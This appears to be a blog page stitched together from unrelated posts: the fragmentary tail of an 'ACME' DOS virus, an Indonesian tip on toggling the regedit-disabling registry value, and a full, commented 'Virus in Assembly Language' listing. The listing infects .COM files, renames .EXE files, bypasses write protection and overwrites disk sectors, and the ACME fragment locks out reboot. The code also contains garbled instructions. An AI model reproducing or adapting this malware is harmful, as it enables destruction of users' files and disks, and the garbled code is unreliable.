jc EXIT ;If empty directory, exit

Do_file:
call STORE_NAME
call CHECK_FILE
call INFECT_FILE

Find_next:
mov ah,4fh ; find next file and keep finding until
int 21h ; all
jnz Do_File ; infected

Exit:

; Run the original program
call Prepare_command
mov si, OFFSET MY_CMD
int 2Eh ; Pass command to command
; interpreter for execution

mov ax,4C00H ; Exit to DOS
int 21h

;-------------------------------------------------------------------
;This routine enables ACME virus to compel the pc to play the
;ACME virus song just about the time the clock-watchers are getting
;ready to leave
;-------------------------------------------------------------------
TOON:
cli ;interrupts off
mov al,10110110xb ;the number
out 43h,al ;to send to the speaker
lea si,MUZIK ;point (si) to the ACME note table

TOON2: cld
lodsw ;load word into ax and increment (si)
cmp ax,0ffffh ;is it ffff? If so, end of table
jz GO_MUZIK2 ;so, time to jump into endless loop
out 42h,al
mov al,ah
out 42h,al ;send it next
in al,61h ;get value to turn on speaker
or al,00000011xb ;OR the gotten value
out 61h,al ;now we turn on speaker
lodsw ;load the repeat loop count into (ax)
LOOP6:
mov cx,8000 ;delay count
LOOP7:
loop LOOP7 ;do the delay
dec ax ;decrement repeat count
jnz LOOP6 ;if not = 0 loop back
in al,61h ;all done
and al,11111100xb ;number turns speaker off
out 61h,al ;send it
jmp short TOON2 ;now go do next note
GO_MUZIK2: ;our loop point

sti ;enable interrupts
jmp TOON ;jump back to beginning - this code
; has the additional advantage of
;locking out CTRL-ALT-DEL reboot.
;The user must do a hard reset to recover from ACME.

END_OF_CODE = $

STACK_HERE EQU END_OF_CODE + 512

disable registry editor

2006-09-18T13:40:00.000+07:00

Disable registry editor

Anda pernah berpikir untuk mendisable regedit ? Hal ini sangat berguna untuk mencegah orang lain mengubah setting registry komputer anda !!! Untuk melakukan itu Anda dapat mengubah seting registry seperti yang tercantum pada tabel di bawah.

Key	HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsCurrentVersion\Policies\System
Value Name	DisableRegistryTools
Data Type	REG_DWORD (DWORD Value)
Data	(0 = enable regedit, 1 = disable regedit)

Jika Anda mengubah setting dengan benar maka saat program regedit dipanggil akan muncul pesan kesalahan seperti gambar di bawah ini:

Pasti anda bertanya, bagaimana cara mengembalikannya seperti semula? Caranya gampang, ikuti langkah-langkah di bawah ini :

Dengan menggunakan Notepad, buatlah sebuah file baru. Ketikkan isi seperti di bawah ini:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] "DisableRegistryTools"=dword:00000000

Simpan dengan sembarang nama file, tapi dengan ekstensi reg, misalnya enable_regedit.reg.
Setelah itu klik 2x file tersebut untuk meng-enable registry editor.

Virus in Assembly Language

2006-09-18T13:35:00.000+07:00

; Virus in Assembly Language
; --------------------------

;Most viruses out there have been written in assembly because assembly has the
;unique ability to bypass operating system security.
;Here is an example of a virus written under MS-DOS 2.1 and can obviously be
;compiled in the later versions. The article contains remarks so as to further
;explain the parts. Programmers may wish to delete those segments if desired.

;**************************************************
; Program Virus
; Version 1.1
; This is a demonstration program for computer
; viruses. It has the ability to replace itself.
; and thereby modify other programs. Enjoy.
;**************************************************

Code Segment
Assume CS:Code
progr equ 100h
ORG progr

;**************************************************
; The three NOP's serve as the marker byte of the
; virus which allow it to identify a virus.
;**************************************************

MAIN:
nop
nop
nop

;**************************************************
; Initialize the pointers
;**************************************************

mov ax,00
mov es:[pointer],ax
mov es:[counter],ax
mov es:[disks],al

;**************************************************
; Get the selected drive
;**************************************************

mov ah,19h ;drive?
int 21h

;**************************************************
; Get the current path on the current drive
;**************************************************

mov cs:drive,al ;save drive
mov ah,47h ;dir?
mov dh,0
add al,1
mov dl,al ;in actual drive
lea si,cs:old_path ;
int 21h

;**************************************************
; Get the number of drives present. If only one
; is present, the pointer for the search order
; will be set to serach order + 6
;**************************************************

mov as,0eh ;how many disks
mov dl,0 ;
int 21h

mov al,01
cmp al,01 ;one drive
jnz hups3
mov al,06

hups3: mov ah,0
lea bx,search_order
add bx,ax
add bx,0001h
mov cs:pointer,bx
clc

;**************************************************
; Carry is set, if no more .COM's are found.
; Then, to avoid unnecessary work, .EXE files will
; be renamed to .COM files and infected.
; This causes the error message "Program to large
; to fit memory" when starting larger infected
; EXE programs.
;*************************************************

change_disk:
jnc no_name_change
mov ah,17h ;change .EXE to .COM
lea dx,cs:maske_exe
int 21h
cmp al,0ffh
jnz no_name_change ;.EXE found?

;****************************************************
; If neither .COM nor .EXE is found then sectors
; will be overwritten depending on the system time
; in milliseconds. This is the time of the complete
; "infection" of a storage medium. The virus can
; find nothing more to infect and starts its destruction
;*****************************************************

mov ah,2ch ; read system clock
int 21h
mov bx,cs:pointer
mov al,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h ; write crap on disk

;******************************************************
; Check if the end of the search order table has been
; reached . If so, end.
;******************************************************

no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0ffh
jnz hups2
jmp hops

;****************************************************
; Get new drive from the search order table and
; select it .
;***************************************************

hups2:
mov ah,0eh
int 21h ;change disk

;***************************************************
; Start in the root directory
;***************************************************

mov ah,3bh ;change path
lea dx,path
int 21h
jmp find_first_file

;**************************************************
; Starting from the root, search for the first
; subdir. FIrst convert all .EXE files to .COM
; in the old directory
;**************************************************

find_first_subdir:
mov ah,17h ;change .exe to .com
lea dx,cs:maske_exe
int 21h
mov ah,3bh ;use root directory
lea dx,path
int 21h
mov ah,04eh ;search for first subdirectory
mov cx,00010001b ;dir mask
lea dx,maske_dir ;
int 21h ;
jc change_disk
mov bx,CS:counter
INC,BX
DEC bx
jz use_next_subdir

;*************************************************
; Search for the next subdirectory. If no more
; directories are found, the drive will be changed.
;*************************************************

find_next_subdir:
mov ah,4fh ; search for next subdir
int 21h
jc change_disk
dec bx
jnz find_next_subdir

;*************************************************
; Select found directory.
;**************************************************

use_next_subdir:
mov ah,2fh ;get dta address
int 21h
add bx,1ch
mov es:[bx],'\` ;address of name in dta
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh ;change path
int 21h
pop ds
mov bx,cs:counter
inc bx
mov CS:counter,bx

;**************************************************
; Find first .COM file in the current directory.
; If there are none, search the next directory.
;**************************************************

find_first_file:
mov ah,04eh ;Search for first
mov cx,00000001b ;mask
lea dx,maske_com ;
int 21h ;
jc find_first_subdir
jmp check_if_ill

;**************************************************
; If program is ill(infected) then search for
; another other.
;**************************************************

find_next_file:
mov ah,4fh ;search for next
int 21h
jc find_first_subdir

;*************************************************
; Check is already infected by virus.
;**************************************************

check_if_ill:
mov ah,3dh ;open channel
mov al,02h ;read/write
mov dx,9eh ;address of name in dta
int 21
mov bx,ax ;save channel
mov ah,3fh ; read file
mov ch,buflen ;
mov dx,buffer ;write in buffer
int 21h
mov ah,3eh ;close file
int 21h

;***************************************************
; This routine will search the three NOP's(no
; operation).If present there is already an infection.
; We must then continue the search
;****************************************************

mov bx,cs:[buffer]
cmp bx,9090h
jz find_next_file

;***************************************************
; This routine will BY PASS MS-DOS WRITE PROTECTION
; if present. Very important !
;***************************************************

mov ah,43h ;write enable
mov al,0
mov dx,9eh ;address of name in dta
int 21h
mov ah,43h
mov al,01h
and cx,11111110b
int 21h

;****************************************************
; Open file for read/write access.
;*****************************************************

mov ah,3dh ;open channel
mov al,02h ;read/write
mov dx,9eh ;address of name in dta
int 21h

;****************************************************
; Read date entry of program and save for future
; use.
;****************************************************

mov bx,ax ;channel
mov ah,57h ;get date
mov al.0
int 21h
push cx ;save date
push dx

;****************************************************
; The jump located at address 0100h of the program
; will be saved for further use.
;*****************************************************

mov dx,cs:[conta] ;save old jmp
mov cs:[jmpbuf],dx
mov dx,cs:[buffer+1] ;save new jump
lea cx,cont-100h
sub dx,cx
mov cs:[conta],dx

;*****************************************************
; The virus copies itself to the start of the file.
;*****************************************************

mov ah,57h ;write date
mov al,1
pop dx
pop cx ;restore date
int 21h

;*****************************************************
; Close the file.
;*****************************************************

mov ah,3eh ;close file
int 21h

;*****************************************************
; Restore the old jump address. The virus saves at
; address "conta" the jump which was at the start of
; the host program.
; This is done to preserve the executability of the
; host program as much as possible.
; After saving it still works with the jump address
; contained in the virus. The jump address in the
; virus differs from the jump address in memory.
;****************************************************

mov dx,cs:[jmpbuf] ;restore old jump
mov cs:[conta],dx
hops: nop
call use_old

;****************************************************
; Continue with the host program.
;****************************************************

cont db 0e9h ;make jump
conta dw 0
mov ah,00
int 21h

;***************************************************
; Reactivate the selected drive at the start of
; the program.
;***************************************************

use_old:
mov ah,0eh ;use old drive
mov dl,cs:drive
int 21h

;***************************************************
; Reactivate the selected path at the start of
; the program.
;***************************************************

mov ah,3bh ;use old drive
lea dx,old_path-1 ;get old path and backslash
int 21h
ret

search_order db 0ffh,1,0,2,3,0ffh,00,offh
pointer dw 0000 ;pointer f. search order
counter dw 0000 ;counter f. nth. search
disks db 0 ;number of disks

maske_com db "*.com",00 ;search for com files
maske_dir db "*",00 ;search for dir's
maske_exe db offh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db offh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0

buffer equ 0e00h ;a safe place

buflen equ 230h ;lenght of virus!!!!
;carefull
;if changing!!!!
jmpbuf equ buffer+buflen ;a safe place for jmp
path db "\",0 ;first place
drive db 0 ;actual drive
back_slash db "\"
old_path db 32 dup (?) ;old path

code ends

end main

;[ END OF THIS VIRUS PROGRAM ]

Downloaded From P-80 International Information Systems 304-744-2253